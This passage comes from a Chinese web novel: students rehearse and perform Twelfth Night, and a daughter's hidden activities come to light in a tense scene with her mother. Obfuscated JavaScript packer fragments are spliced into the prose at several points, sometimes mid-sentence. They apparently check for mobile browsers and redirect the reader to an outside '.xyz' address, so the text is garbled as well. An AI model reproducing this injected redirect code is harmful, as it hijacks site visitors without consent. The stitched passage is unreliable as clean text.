沈时墨微微一愣,然后眯眼扫视四周,忽然抬手指着婉芝,一脸无辜地说道:“听见了吗?快快——把这位小姐撵出去。” 那语气一本正经,像圣旨宣读,瞬间把所有人都逗乐了。“台下”的其他人哈哈哈大笑着,这一幕尤其自然,简直就像他们姐弟俩平时的斗嘴。 “……算了吧。”婉芝努力维持角色,“你是个干巴巴、没趣味的傻子,我不要再看见你了;而且你已经越来越不老实了。” 沈时墨吸了口气,像真被打击了似的,一只手按着额头退后一步,假装要晕过去。 然后他突然停下,抬眼,换上一副深思熟虑的表情:“我的小姐——这两个毛病啊,用酒和忠告就能治好。” 他开始来回踱步,手里的粉笔权杖被他敲得“噔噔”作响:“干巴巴的傻子?来一口酒就润了!不老实的人?劝一劝,说两句,拍拍他肩,说——‘你啊,要做个正经人了!’” “如果他能听得进去,那就老实;听不进去……” 他看着婉芝,忽然挑眉:“那就找裁缝,给他补补——不老实的心,补上一块‘道德’的布。” “道德的失足无非补上了一块罪恶;罪恶悔改之后,也无非补上了一块道德。” 他开始讲得越来越顺了,动作也越来越大,连坐在一边的梁悯初都忍不住轻笑了一声。 “听得懂吗小姐?听得懂太好了,听不懂——”他耸耸肩,“那也没办法。” “那也没办法。”他压低声音,神情忽然有点认真:“傻子不好当啊,美人就像鲜花,傻子就像花瓶。小姐吩咐把傻子撵出去——” 他转身往外一指,语气一顿:“因此我也再说一句:把小姐她自己,撵出去吧。” 婉芝拍案:“尊驾!我吩咐他们把你撵出去呢!” 沈时墨愣了一秒,然后低头笑了笑,朝众人夸张地一鞠躬:“傻子退场。” 他转身走下讲台,脚步轻快,嘴角还挂着明显的笑意。 梁悯初笑着站起来鼓掌:“非常生动的表演。” 黎婉芝抬起头,骄傲地瞪了一眼沈时砚:“你看!这才是演戏呢。” 沈时砚缩了缩脑袋,瞪回她。 “简,该你啦!”黎婉芝边笑边翻台本,“玛丽娅在这儿上场!” 罗简把台本往桌上一拍:“行嘛!来呀!” 她站起来,没像大家那样拘谨站在角落,也没有刻意走到讲台中间。只是斜倚在讲桌边,台本随手一卷,握在指尖,像是顺手要抽个学生罚站的模样。 她嘴角一勾,抬眼看向“奥莉维娅”——婉芝。 然后开口。 声音不大,却清晰干脆,像一把小刀划过缎子:“小姐若是多听听我这‘不正经的心肝’说话,准保比那群老学究说得还中听。” 她轻轻一笑,嘴角有点不屑,又像是讥讽全场。 “奥西诺公爵?他要是真心实意,那我就是修道院的修女;可惜我只会修理人的心,不会修他那点子诗。” 她没急着念下句,而是顿了一下,用眼角扫过全场。 “他爱你,不过是爱他自己那点可怜兮兮的深情样子。你若是心软,可就落了他的计。” 全场忽然静了一秒。 婉芝眨眨眼,下意识接了一句:“你……你这是什么意思?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569296|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 简笑得更慢了一点,靠近她一步,语气里全是那种聪明女孩半真半假的毒辣温柔:“若我说的还需解读,那我倒真是高看了小姐的聪慧了。” 她话音一落,顺手把剧本一抛——啪地正好落在桌上。 “到你了,塞巴斯蒂安。”她对罗炽南点点头,一本正经地坐回原位,像什么都没发生过。 空气像是被一层薄薄的热浪搅过,又悄悄落定。 “……好家伙。”沈时墨低声说了一句,“这姑娘什么来头,梨园的?” “你这是天赋吧?”婉芝看向罗简,小声问,“你小时候练过?” 罗简没回答她,只是用剧本挡住半张脸,露出一点快藏不住的笑意。 梁悯初最后轻轻地给出评价:“很不错,简直就像专业的。“ “下一个是塞巴斯蒂安……我来……”罗炽南清了清嗓子,声音低了一点。 “和安东尼奥。”沈时墨在一旁说,“你不是一个人——我是安东尼奥。” 婉芝在台下翻着台本:“好了啊,你俩站近点,要说正经话了。” 沈时墨有点心虚地笑了笑,台词本立刻抬高了几厘米,“我们两个这是……嗯……兄弟情深?” “兄弟情深。”罗炽南点点头,像在给自己做心理建设,“开始了?” “开始了。”沈时墨一咬牙,把台词本翻开。 罗炽南先开口,略有点拘谨,像是背稿子,却又想掩饰自己其实在认真读,甚至还有几个错字:“我本来不愿意…麻烦你,可是你既然这样欢喜自己劳绿(劳碌),那么我也不再向你多话了。” 话音落地,他一顿,感觉好像“话说完了”,却又意识到他还不是这一幕的主角。 于是他往旁边看了看:“……该你了。” 沈时墨慢了半拍,眼睛盯着本子,没有抬头:“我抛不下你。” 他咳了一声,继续念:“我的愿望,比最利的刀还锋利——它逼着我追你而来。虽说是想再多看看你,其实也不全是这个缘故。” 他念到这句时下意识地抬了眼。罗炽南也正看着他,两人目光撞了一下,谁也没接话,一秒后又一起低下头。 沈时墨:“……你继续。” 罗炽南:“你别盯我。” “我演你朋友,不看你我看谁?” 大家又笑作一团,婉芝甚至笑得扑进蔚青怀里。 沈时墨又低头继续念:“我的诚心的爱……哎?——再加上这样使我忧虑的理由,迫使我来追赶你……” 他把“爱”字念得很古怪,像是说不出口一样。 罗炽南像是忽然意识到有点不对劲,咳了一声,把后半句台词一口气念完:“我的善良的安东尼奥,除了感谢、感谢、永远的感谢之外,再没有别的话好回答你了。一件好事常常只换得一声空口的道谢:可是我的钱财假如能跟我的衷心的感谢一样多,你的好心一定不会得不到重重的……报?这字怎么念来着?” “酬报!”黎婉芝拍着大腿,“你给我好好练台词!” 罗炽南拉了拉嘴角,完成了最后的台词:“要不要去瞧瞧这城里的古迹?” 他挠了挠头,“这个词怎么这么奇怪。” “不是词奇怪,是你们之间没有一点火花。”婉芝点评。 “我……”罗炽南无话可说。 黎婉芝“啪”地把剧本稿子敲在桌子上:“好了好了!这组没一点感情,让我们恭喜时砚现在已经不是最差的一个了!下一位!” 22. 距离 “下一场——奥西诺公爵与维奥拉!” 黎婉芝一声令下,沈时砚把剧本抱在臂弯里,缓步走到讲台上,姿态比刚才演独角戏要沉稳几分。他清了清嗓子,抬头望着蔚青,语气低了些。 演的是女扮男装的维奥拉和奥西诺公爵的谈话,维奥拉爱上了奥西诺公爵,却因为不能暴露身份而一直在小心翼翼地暗示。 “去找他来。现在——先把那曲调奏起来吧。” 婉芝在后头假装哼起几句琴声,还在轻轻地弹起了空气。 沈时砚转过身,眼神落在蔚青身上,声音变得温柔:“过来,孩子。要是你有一天和人恋爱了——请在甜蜜的痛苦中记着我:” “因为真心的恋人都像我……在情感上也许浮躁反复,可那心中所爱之人,却深深刻在心头,永不褪色。” 讲台那端静了几秒。 陈蔚青站在阳光碎洒的地板上,剧本在手中,却没立刻开口。 她的目光,不自觉地飘向窗边。 梁悯初坐在那里,仿佛被斜阳勾勒出剪影。墨蓝色的长衫在光里泛出一丝柔和,眼睛低垂,像在看剧本,又像早已把每一个台词都听得一清二楚。 他没有抬头看。 可蔚青却在那一瞬突然意识到——如果是他说出这些话,大概也会那样吧?不紧不慢、带着点玩笑,却又认真得让人心跳。他会什么都察觉不到的,认真地把我推开,然后献上那好似讽刺的祝福。 他也会这样说:“孩子,你若是有天恋爱了……请记得——” 她咬了下唇,努力把心思拉回到角色上。她垂下眼帘,开口,声音带着一点颤:“它……传出了爱情宝座上的回声。” 沈时砚点点头,顺着台词继续:“你说得很好。我相信你,虽然还这样年轻,但你的眼睛……一定曾经看中过什么人。是不是,孩子?” 蔚青顿了一下。 “略……略为有点,请您恕我。” 这句本是轻描淡写的推辞,可她说出口时,却像真在掩饰什么。 沈时砚看她一眼,眉头稍皱:“那是个什么样子的女人呢?” 她下意识回头,又瞄了一眼那个熟悉的身影。 “……相貌……跟您差不多。” 剧本上的回答是写给“奥西诺”的,可她说出口时,声音里竟有点真。 “那她就不配被你爱。”沈时砚笑着接下去,“什么年纪呢?” 蔚青的指节轻微收紧:“年纪……也跟您差不多,殿下。” 话音刚落,她就不敢再看那边了。 而梁悯初还是没抬头,只在翻来覆去的看着剧本,像是什么都没听见。 沈时砚还在读:“啊,那太老了……” 太老了吗?她一晃神,想起了那个她哭着说“你知不知道我喜欢你”的午后。 “因为,孩子,不论我们怎样自称自赞,我们的爱情总比女人们流动不定些,富于希求,易于反复,更容易消失而生厌。” 陈蔚青回过神来,这才慢慢抬起头,眼神重新对上沈时砚,轻声道:“我知道得很清楚,女人对一个男人会怀着怎样的爱情;真的,她们是跟我们一样真心的。我的父亲有一个女儿,她爱上了一个男人,正像假如我是个女人也许会爱上了殿下你一样。” 梁悯初抬头看了她一眼,没有说话。那眼神里像有一簇光,什么都没说,却把她脸上的红意看得一清二楚。 “来来来,今天的最后一场!重头戏!”黎婉芝举起手里的剧本,像个将军挥舞着号角,“今天一定要把那一段演出来!这可是全剧最惊天动地的场面,没有之一!” 大家大笑着纷纷发出一阵起哄声。 “蔚青,你准备好了吗?”婉芝笑得一脸恶作剧。 陈蔚青嘴角抽了抽:“准备…好了…” “开始!” 夕阳斜进女中教室的窗棂,光线打在木地板上,像一格一格的舞台灯。 沈时砚站在“舞台”一端,蔚青站在另一端,黎婉芝从讲台后走出来,步履坚定地走到中间,仿佛真的披着裙摆走在维奥拉和奥西诺之间。 “暖哟,他厌弃了我!”婉芝声音陡地拔高,像一根突兀挑开的琴弦,“我受了欺骗了!” 蔚青应声而上,慌乱之中带着一丝真情:“谁把你欺骗?谁给你受气?” “才不久你难道已经忘记?——请神父来!”婉芝回头一挥手,半是认真半是戏谑。 沈时墨在一边嘀咕:“神父去哪找?” 沈时砚干脆忽略了神父这个角色的缺失,只是照着剧本演,他对旁边的蔚青挥了挥手:“去吧。“ “到哪里去?殿下?“婉芝拉住蔚青的手,“我的夫,别去!” “你的夫?” “是的!我的夫,他能抵赖吗?” “她的夫?嘿?” “不,殿下我不是。” 这时神父该上场了,所有人都安静了下来,在等黎婉芝的如何处理这个角色的空缺。 “啊,欢迎,神父!神父,我请你凭着你的可尊敬的身份,到这里来宣布你所知道的关于这位少年和我之间不久以前的事情,虽然我们本来预备保守秘密,但现在不得不在时机未到之前公布了!”婉芝一口气说完台词,转头望向窗边。 梁悯初从窗边的位置上站起来,一手提着书,另一手负在背后,神情温和,他用低沉有磁性的声音缓缓开口:“一个永久相爱的盟约,已经由你们两人握手缔结,用神圣的吻证明,用戒指的交换确定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Formenareasroses,whosefairflower Beingoncedisplayed,dothfallthatveryhour.“ 那英文句子被他说得极缓极轻,蔚青觉得听着有些耳熟,她后来才想起那是公爵对无法表达的维奥拉说的:“啊!那太老了……那么选一个比你年轻一点的人做你的爱人吧,否则你的爱情便不能常青,男人正像是娇艳的蔷薇,花开才不久便转眼枯萎……” 他小心翼翼地把原句里的Women改成了Men——把女人改成男人。但那都是后话了,那时的陈蔚青只听出了声音里遥远的距离。 23. 戏 校庆日那天,整个南州女中像是提前进入了春天。主楼前挂起了红绸白纱的横幅,“庆祝建校二十周年文艺汇演”几个金漆大字在阳光下闪着光。操场上支起临时舞台,幕布是学校美术组连夜赶制的油彩喷绘,上头画着一只展开双翅的凤凰,那只凤凰高昂着头,。 家长、校董、学社的嘉宾,甚至还有从市教育厅赶来的督学员,都坐在前排,女中所有班级也整齐排列成席,几百张眼睛一齐望着台上,一时鸦雀无声。 节目单精致得像请柬,每一页都印着演出者的名字与剧目介绍。最引人注目的那一项是下午五点整的压轴节目: 莎士比亚戏剧改编·《第十二夜》表演 ——黎婉芝编排,南州市部分友校学生共同出演。 后台的布景是借了学校礼堂的帷幕改装的,灯光用的是特别改装的煤气投影器。婉芝正一边踩着裙角在台后快步走动,一边指挥着头饰、服装、队列。罗简靠在镜前把唇膏往嘴上一抹,又撇撇嘴说:“这戏要演砸了,我就把那件玛丽娅的裙子撕了。” “你要是都能演砸了,我们就都不用演了。”沈时砚紧张地叹了一口,小声地对罗简说。 陈蔚青站在角落,看着外头坐得满满当当的观众席,心跳快得不像她。在昨晚的饭桌上母亲答应了会来,虽然那句诺言轻飘飘的,但她知道母亲一向是最信守承诺的人。她扫遍前排,没看到那个熟悉的身影。 “你妈妈还没来啊?”罗简走过来,低声问。 她摇了摇头,指尖已经在剧本边缘轻轻摩挲了一圈又一圈。 “她大概还在路上。”陈蔚青低声说,可声音里却藏不住那点失落。 “也许是人太多,还没进来呢。”罗简拍拍她的肩,又朝外面探了一眼,“这阵仗我还真没见过,连市里的洋人太太都来了。” “别紧张啦。”婉芝从后台绕过来,手里还拎着一串临时换上的羽饰,“你就当她在呢,反正待会儿台下黑压压一片,你也分不清谁是谁。” 蔚青点点头,却没说话。她知道自己不该介意,可那张椅子空着的样子,在她心里就像一口没合上的琴盖,轻轻震动着。 演出终于开始了。 一幕幕节目轮番上场,有学生歌唱,有朗诵,有舞蹈。观众席不时爆发出掌声,台下那些熟悉又陌生的大人们,坐姿端正,表情平静。直到那条写着《第十二夜》的彩带被拉起,全场才像是真的“动”了起来——有人翻起节目单,有人低声议论,有人望向后台方向。 轮到他们登场了。 舞台灯“咔哒”一声亮起,幕布缓缓拉开。木头地板在灯光下泛着温润的光泽,像是一层梦境的开始。沈时砚第一个登场,身披西装外套,拄着一根太长的拐杖,脸上那点认真几乎像是某种誓言。他的声音起初略有颤抖,但很快稳住了,撑过了整段奥西诺的开场白。 接着是黎婉芝,她轻盈地踏上台,一颦一笑都带着奥莉维娅的傲气与迷惘,那种戏谑与庄重交错的气息,像她自己,又像她说过的“浪漫的逃亡”。 然后轮到陈蔚青。 是维奥拉登场的第一幕,她站在那束灯光之中,她眼神却微微飘忽,像是一直在寻找什么。 “但是我可以相信你的心地和你的外表一样好……”她缓缓开口,语调又轻又空,几乎是机械地复述排练时的记忆。 “请你替我保守秘密,不要把我的真相泄露出去,我以后会重谢你的。” 她在说“维奥拉”的台词,可脑子里却是“陈蔚青”的事。她想起这些天一次次在饭桌上试探母亲,又一次次咽下话语的那种沉默——她对母亲说“在婉芝家一同学习”,说“只是课业太忙,婉芝一年后就要离开,想多陪陪她……”,真话中混杂着假话,真真假假,她也快分不清了,但她却始终没敢说出口的是—— “你得帮助我假扮起来,好让我达到我的目的。”她的声音轻轻一顿。就在她念出“目的”那个词的时候,眼神下意识地朝台下一扫。 还是空的。 那张椅子,整整空着,从第一幕到这一刻,都没有人来坐。 她指尖轻微发抖,但台词还是继续往下走。 “我要去侍候这位公爵,你可以把我送给他作为一个净了身的侍童;也许你会得到些好处的……”她的嗓音慢慢低了下去,像一片落叶擦过舞台的边缘,“我会使计谋,你只须静默。” 她站在灯下,说着维奥拉的“计谋”,心里却忽然觉得,那些不曾说出口的东西也在戏里露了形,变得明亮又脆弱。 紧接着蔚青的维奥拉下场,其他人相继登场。蔚青换上一身略大的西装,换下第一幕的裙子,把头发藏在帽子里,以女扮男装的姿态重新登场,她眼神清清冷冷地扫过台下。 然后是罗简的玛丽娅再登场,她穿着那件略显夸张的长裙,登台时眼神一挑,嘴角噙着一抹几乎称得上是“职业性的微笑”。她站在台上,手中扇子一展一合,语气轻慢,字字带钩,俨然一副“聪明伶俐又不饶人”的模样。 观众席上响起几声低低的笑声,紧接着是一阵小小的掌声。几位坐在前排的女校老师身子互相交换了一个惊讶的眼神。 玛丽娅退场,后台的众人都围上去,你一言我一语地夸赞起罗简的表演。只是蔚青不能多做停留,只能朝罗简笑了笑,然后再次上场。 “……你的主人知道我的意思,我不能爱他,虽然我想他品格很高,知道他很尊贵,很有身份,年轻而纯洁,有很好的名声,慷慨,博学,勇敢,长得又体面;可是我总不能爱他,他老早就已经得到我的回音了。”黎婉芝的奥利维娅叉着腰,活脱脱是一个高贵傲慢的伯爵小姐。 “要是我也像我主人一样热情地爱着您,也是这样的受苦,这样了无生趣地把生命拖延,我不会懂得您的拒绝是什么意思。”陈蔚青的维奥拉遗憾地回答道。 “啊……那你预备怎么样呢?”婉芝说完,蔚青按照剧本里写的望向婉芝演的奥莉维娅,她突然察觉到了什么不同。他觉得婉芝的眼神不再只是角色的神情,而像是真正地“在望着她”,微妙得像是带电的空气。 这一刻,陈蔚青才真正感觉到自己进入了这场戏。 “我要在您的门前用柳枝筑成一所小屋,不时到府中访谒我的灵魂:我要吟咏着被冷淡的忠诚的爱情的诗篇,不顾夜多么深我要把它们高声歌唱;我要向着回声的山崖呼喊您的名字,使饶舌的风都叫着“奥丽维娅”。啊!您在天地之间将要得不到安静,除非您怜悯了我!”她说完,轻轻倒吸一口气,再次看向观众席。 就在灯光没能照亮的边缘,她看到了一抹熟悉的影子。 那个人坐在前排靠左的第二个座位,穿着深色呢料外套,身姿笔挺,眼神却藏在阴影里—— 是她母亲。 她不知什么时候来的,也许是刚到。她没有表情,只安静地坐着。 蔚青的心“咚”地跳了一下,她不知道自己为什么突然从心底涌出了一种恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嘿!你这狂妄的小孩!”婉芝佯怒,转头朝沈时砚喊,“你快来管管你弟弟!无法无天了都这小子!” “你们几个……”沈时砚好笑地摇头,“行了行了,歇歇吧,今天都很好。” 陈蔚青没有说话。她静静卸下戏服,动作细致得像在拆掉一层旧梦。换上她的常服,裙角一摆,那一点戏里的维奥拉,也悄无声息地退场了。 她站了片刻,提起包,轻声从后台走出,穿过人群,穿过铺着彩带的小径,绕到前排那一带。 她母亲果然还坐在那里,像是特意在等她。 “妈。”她轻轻唤了一声。 陈母转过头,看了她一眼,点点头:“演完了?” “嗯。”蔚青低声答。 母女俩并肩走出礼堂,天边染成了一片温柔的金色,光像是落在她们肩膀上的羽毛。 她心跳得有些快,终于小心翼翼地问:“你觉得……戏怎么样?” 陈母没有立刻回答,而是抬起头,看着远处天空里的晚霞,好像要从那颜色里挑出一句合适的措辞。 许久,她才缓缓地说:“挺好的。婉芝那姑娘,是擅长这个。” 她顿了顿,又不紧不慢地加了一句:“你演得也好。” 蔚青眼睛微微一亮,刚想说些什么,母亲却忽然笑了一下,语气温和得几乎听不出情绪:“不过——戏就是戏,别太当真了就行。” 那句“别太当真了”,像一只看不见的小锤子,轻轻敲在蔚青心口最柔软的地方。 她没有立刻回答,只是站在那里,看着光线从台阶上一寸一寸退去,风从肩头吹过去,仿佛也把台上的掌声一并带远了。 陈母站起身,把手套重新戴好:“走吧,晚了,风凉了。” “……嗯。” 蔚青低头跟上母亲,背后是刚谢幕过的舞台,和她还没来得及谢幕的那些话语。 24. 山雨欲来 春天来了,南州的早晨总带着几分未褪尽的湿意。院子里树叶又长出新的,但风一吹,却有几片冬天没落尽的倔强地打着旋飘下来,贴在晨湿的石板上。 早餐桌上,照旧铺着熨得平整的桌布,银壶里是温着的牛奶,碟中是陈母早就忌了的西点,仍由管家例行端上。没有谁说要改,但这些小地方的“照旧”,有时比“改变”更让人不安。 “今天怎么没看见晨报?”陈母唐敬微淡淡问了一句。 “来了的,太太,送进书房了。”管家答。 她放下刀叉,走进书房取出那叠报纸,在沙发上坐下,随手翻开。第一版是政事,第二版是外贸,直到翻到第三版副刊,才缓缓顿住。 是一则小报上印着的评论,署名是个从未听过的笔名。标题却扎眼得很:《南州望族夫人昔日风光,今朝暗潮涌动?》。 她不动声色地扫了一眼,笔法显然不算高明,语句堆砌,却句句带刺,说的是市面上对陈家近日生意“变化”的猜测,也隐隐提及“陈夫人性情强势,凡事掌权,打压陈家男丁”,甚至连她昔年入主陈宅前的出身也拐着弯提了一句。 她没有评论什么,只是把报纸合上,折得一丝不乱。 那一瞬间,她脸上没有半点怒意,只有一种格外沉静的锋利,就像削过头的一柄刀,收回鞘中。 这时陈蔚青从楼上走了下来,规规矩矩地坐到餐桌上,女仆忙把她的那一份西式早餐端上来。 “太太,芳太太那边传话,说今晚茶会临时改到下周,说是家里有亲戚来了。”管家小心翼翼地说道。 “改了就改了。”唐敬微淡声道。 管家犹豫了一下,看了一眼陈蔚青,压低声音,又说:“前几日黎家送来的回帖,说陈小姐最近和那位沈家二少来往甚密,坊间有几句闲话……太太您看,要不要回一封帖子解释下?” 陈蔚青浑身一抖,往嘴里送点心的手一顿,又假装若无其事的继续。 母亲只一字一句地回答说:“该回的帖子,一封也别落。” 管家点点头,走了出去。待管家走远,母亲终于开口,但语气还是淡淡的:“你最近常和婉芝见面?” “嗯,在她家和她一起学法文。”蔚青点头。 “噢?只是学习?学得怎么样了?” 蔚青愣了一下,没来得及答,母亲已经起身,把报纸放在桌上,有些用力,发出“咚”的一声。她没有再追问,也没再说话。 上午的天气暖得有些过分,阳光透过窗棂,把书桌上的稿纸照得微微发亮。热气在空气里打着旋儿,晕开了一种静谧得近乎停滞的沉默。 陈蔚青窝在书桌前,翻开那一叠从梁老师那儿借来的逻辑代数教案。铅笔夹在耳边,手边的笔记本已经写了满满三页,密密麻麻,布满她对命题的演绎、等价变换、真假值判断。 可她忽然翻累了,脑子像在一阵一阵地发胀。 她把笔记本合上,又把桌上的教材推到一边,拉开抽屉,从最底下那格抽出一摞夹着旧稿的纸夹。 里面是她自己整理的“问题-答案”表,每一道题目像是某种“思想的零件”,她曾反复改写它们,用它们作为推理的一部分,作为“那台机器”的输入参数。 纸张有点皱了,左上角有个被揉过又摊平的折痕。她看了看,前六个问题都已经被写好。 她提起笔,迟疑了一下,写下:问题七:如果你必须违背某些原则才能完成它,你会接受吗? 字迹一开始还端正,到最后那个“吗”字的时候却歪了一点,像是有什么微小的犹豫突然挤进来了。 她盯着这句话看了很久,眼神有点发空。 片刻后,她低头,又写下:问题八:你是否相信,这件事只能由你来做? 写完这句,她的呼吸轻轻顿了一下,仿佛自己也没意识到,这两个问题其实不是为了那个机器在问,而是为了她自己。 她放下笔,靠在椅背上。 春日的阳光落在她脸上,她却觉得有些冷。耳边是远处院子里女仆晒衣裳时传来的晃杆声,“咚咚”地敲着地面,很远,却很近。 午饭时,阳光正好斜照在餐桌上,洁白的桌布被金光染上一层柔和的光晕。银餐具摆得一丝不乱,陶瓷碟子上是切得细细的牛肉和酥软的芦笋——一切都和往常没有分别。 陈蔚青吃得慢,一边切一边低头琢磨着怎样开口。终于,她放下筷子,小心翼翼道:“妈,我今天在报纸上看到那个评论了。” 唐敬微的动作微不可查地一顿,但没抬头,只是拿餐巾轻轻擦了擦嘴角。 蔚青语气低了几分:“他们根本不了解你……他们写的那些,全是胡说八道。你……”她忽然有些激动,却又咬着牙压住,“他们全都不懂……” “嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569299|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”母亲淡淡应了一声,然后忽然开口,语调轻得像是在聊天气,“你今天不去婉芝那里吗?” 蔚青怔住。 “我……下午去。”她垂下眼,不敢多说。 餐桌上陷入了短暂的沉默,只有汤匙碰到碗沿发出一两声清脆响动。 母亲没有再说什么,蔚青也没再追问。她吃完饭,起身离开时,只说了一句:“我晚上…晚点回来,婉芝她…嗯…有事。” “嗯。”母亲仍是那种不轻不重的回答,像极了蔚青小时候摔倒时,她帮她擦破皮的膝盖时用的那种声音。 黄昏刚刚落下的时候,屋里一点风都没有。客厅里燃着一盏灯,门没关严,映出唐敬微的身影从客厅走上二楼。 陈蔚青的房间东西很多,但干净整洁得近乎克制。书桌上摆着数学笔记、逻辑课本,还有一沓被压在书下的打草稿的纸张。母亲站了很久,像是在权衡什么。 最终,她伸手翻开了那沓纸。 第一页,是她自己的名字:“唐敬微”,旁边标着几个方框:“家庭角色”“社会身份”“语言风格”——像是什么分析框架。再翻,写着:“她为什么总能掌握场面?”“她的‘温柔’是一种权力吗?”“她是否曾为自己牺牲?”……每一页都像是手术刀下的切片,带着某种既钦佩又质问的语气。 唐敬微的眉心慢慢皱起来。 再翻一页,是一组整齐写在米黄色格纸上的问题。那是蔚青今早留下的那一张纸。 上面只写了八个问题,她一行一行地读下去: “你觉得你是否有能力做成这件事? 你是否愿意为这件事放弃一切? 你要做的这件事,会被你的家人所接受吗? 如果没有人理解你,你还会坚持下去吗? 如果做这件事会让你伤害别人,你还会做吗? 如果你失败了,你还会承认它是对的吗? 如果你必须违背某些原则才能完成它,你会接受吗? 你是否相信,这件事只能由你来做?” 屋内的灯光静静地照着她手中的纸,那些字迹不大,却极为清晰,像是某种正在逼近的宣言。 她只是轻轻放下,但神情已经彻底变了,连空气都屏住了呼吸。 她站起身,走出屋子,门没关,灯还亮着。窗外枝头有一只鸟飞了起来,在风中惊起一抹残影。 25. 春雪 陈蔚青晚饭回来得有些迟,一推门,客厅里空无一人。她脱下外衣,走上楼,打开房门的那一刻,整个人顿住了。 房子里的灯亮着,母亲正坐在她书桌前的椅子上,向她往常一样背对门,手边摆着她那些数理逻辑笔记和资料。 "……妈?"她下意识地开口,又硬生生改口,“母亲。” 唐敬微没有回头,指尖轻轻按住那张泛着笔迹热度的纸,只说了一句:“你回来啦。” 空气凝固了一瞬。 蔚青站在门口,手上攥着书包带,脑中一片空白。她努力让声音平稳一些:"我还没整理好桌子,你要用的话我可以——" "你最近很忙。"母亲淡淡地说,语气听不出情绪,"和婉芝,和沈家的,还有那两个——孩子。" "……他们不是孩子了。"蔚青小声道,但她知道她想说的其实是:我也不是孩子了。 “是不是孩子不重要,”唐敬微语气平静,却一字一刀,“那个罗炽南他是黑市上的蛀虫,是泥里的人,不该出现在你身边——或者你该有点自知之明,不该出现在他身边。” 这句话像一颗石子投进水面。 “又来了……”她在心里低低地喊,几乎是下意识地咬紧了牙。 是的,又来了。母亲这样说,梁老师也这样说。他们都是那么温和地、清晰地、仿佛毫无恶意地说出那句话:“那小子是黑市的人,跟你不是一种人。” 她笑不出来,也说不出话来。 她站在那里,像一块站在舞台边缘的布景,被排练时留下的灯光照得半明半暗。 她不记得自己当时有没有回话,只记得当时脑子里像是闯进了另一个声音—— “如果不是活不下去,谁愿意做黑市的老鼠?” 那是罗炽南在锅炉房角落,点着一根劣质香烟时说的。他没看她,只是望着窗外,声音混在风里,那时他的声音一点都不像那个黑市里年轻的王,也不像那个总是在工厂里在工头旁边唯唯诺诺的修理工,只像罗炽南,像罗炽南“原来”的样子。 她那时候没答话。可她记住了。 现在,站在她母亲面前,她忽然发现自己想说什么,却说不出来。心里的愤怒像是被什么堵住了出口。她很想说“你们都不懂”,很想说“不是那样的”,可她知道,这些话一说出来,听上去就像一个小女孩为自己的“冒险”找借口。 “他只是……”她试着开口,却发现自己的声音也像是偷偷混进母亲餐桌的那几页报纸,一点分量也没有,“只是做些杂活……换口饭吃。” 她说得太轻,连她自己都听不见。 她忽然觉得羞愧——当然不是因为“和黑市人来往”,而是因为她连捍卫这个决定的语言都变得如此软弱。就像她做的事,在别人眼里连“被认真反驳”的资格都没有。 “我难道就不能单纯地只是相信他吗?”她几乎是对自己说,“难道非要等他有身份、有地位、有背景,我才可以站在他身边?” “太可笑了,我为什么连选择的权利都没有?” 但她说不出口。因为她知道,一旦说出口,那就是和母亲的正面对抗——而她已经预感到,今天这场对抗,迟早是挡不住的。 唐敬微终于转过身来。 她的动作极轻,却带着一种无声的威压,仿佛一道封存已久的大门,在这沉默中被缓缓推开。 她站起身,目光沉静地望向蔚青。那一眼里没有怒意,甚至没有明显的悲喜,只有一种看透一切的冷静,如同夜色深处一盏不闪的灯。 “我知道你一直在永丰纱厂。”她的声音轻得像是从梦里传来,却异常清晰,每一个字都像压着重量。 她停了一下,仿佛要在语言中找一个更妥帖的位置。最终她重新开口,语气中第一次浮现出一种无法掩饰的悔意:“怪不得你比那些城市小报还早知道罢工的事。我还以为是沈时砚那孩子告诉你的……想来,他也不是那种会关心这些的人。” 她顿了顿,像是意识到某个更深的事实,低声又道:“我现在知道了。” 语气陡然沉下来,带着一丝不可名状的悲怆。 “你一直在那个锅炉房。”她说,“你根本不在婉芝家。” 这一句话像是一块钉子,直直钉在空气的静止之中。 陈蔚青的身体轻轻一震,喉咙像被什么紧紧勒住,半晌才从牙缝里挤出一句:“……你叫人,跟踪我?” 母亲没有立刻回答。 她只是俯身,从桌上一叠资料中抽出一张纸。纸上密密地画着线路图、人物关系表,几张被剪下来的齿轮结构草图夹在中间。图纸边角卷翘,显然是常被翻动的那一类,却整理得极为整齐——像一项计划,一种从未被允许存在的沉默事业。 “这些东西,蔚青,你藏得很好,”她语气温柔得近乎悲悯,“你不觉得可笑吗?你问我为什么要‘跟踪’你——那你这些日子又何尝不是在骗我?” 陈蔚青下意识想开口辩解,可所有的言语都像被堵在喉咙里,一句也说不出来。她瞪着那张纸,好像它就是自己所有的秘密与不安、信仰与挣扎的化身——现在却赤裸裸地暴露在母亲眼前。 